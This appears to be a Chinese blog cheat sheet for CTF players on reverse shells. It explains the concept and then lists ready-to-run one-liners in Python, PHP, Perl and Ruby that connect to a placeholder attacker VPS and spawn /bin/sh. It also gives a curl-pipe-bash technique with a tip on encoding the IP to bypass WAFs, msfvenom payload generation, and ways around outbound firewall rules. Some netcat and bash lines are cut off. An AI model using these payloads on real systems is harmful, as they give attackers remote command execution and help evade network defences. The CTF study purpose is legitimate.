Reverse Shell
基本原理
在ctf题目中,基本上遇到的都是linux系统环境,当尝试获取控制权却发现无回显时,通常采用反弹shell的方法。
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
反弹shell的优点在于不用知道目标机开放的端口和目标机ip,在ctf题目中,通常没有回显的远程命令执行就会采用反弹shell的方法。
实现方式
反弹shell的方式有很多,而具体采用哪种方式,哪种方式会成功,主要取决于目标主机上有什么样的环境以及当前用户有哪些权限,有调用bash的权限就bash弹,有装nc就nc弹,有装python就用python弹,如果题目中有提示,就用这种方法弹,没有提示就多试试
下面是具体的反弹shell一句话:
netcat
1 | nc -lvvp 2333 #攻击机 |
bash
1 | nc -lvvp 2333 #攻击机 |
curl配合bash反弹shell
借助了linux中的管道,首先在攻击机的web目录里面创建一个index文件(可以是index.php或index.html),内容是bash -i >& /dev/tcp/vps的IP/2333 0>&1
接下来在攻击机开启对该端口的监听
然后再在目标机执行curl vps的IP|bash
即可反弹shell,这个ip可以是任意格式的,十进制,十六进制,八进制,二进制等等,可以绕过waf。
Socat
1 | socat TCP-LISTEN:2333 -或nc -lvvp 2333 |
Telnet
法一
1 | nc -lvvp 2333 |
法二
1 | nc -lvvp 2333nc -lvvp 4000 |
攻击机需要开两个本地监听,2333输命令,4000看结果
Python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps的IP",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
如果无效可以试试改为python3
PHP
1 | php -r '$sock=fsockopen("vps的IP",2333);exec("/bin/sh -i <&3 >&3 2>&3");' |
Perl
1 | perl -e 'use Socket;$i="vps的IP";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Ruby
1 | ruby -rsocket -e 'c=TCPSocket.new("vps的IP","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'或ruby -rsocket -e 'exit if fork;c=TCPSocket.new("vps的IP","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
利用msfvenom生成一句话
1 | msfvenom -l payloads | grep 'cmd/unix/reverse' |
自行选择生成payload使用
反弹完shell之后可以输入python -c "import pty;pty.spawn('/bin/bash')"
来获得模拟终端,从而进行更多操作。
一些意外
由于各个题目千奇百怪的环境,有很多情况下反弹shell并不会成功,主要原因有以下几个
- 当前用户无权调用bash:无解
- 禁止出站ip:设置了严格的出站策略,只允许连接到几个公网ip,无解
- 禁止出站端口:找到允许访问的端口,使用8080或443,大概率都可以,记得在阿里云将安全组设置为允许所有ip访问监听的端口
- 禁止出站协议:探测允许的协议
参考
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.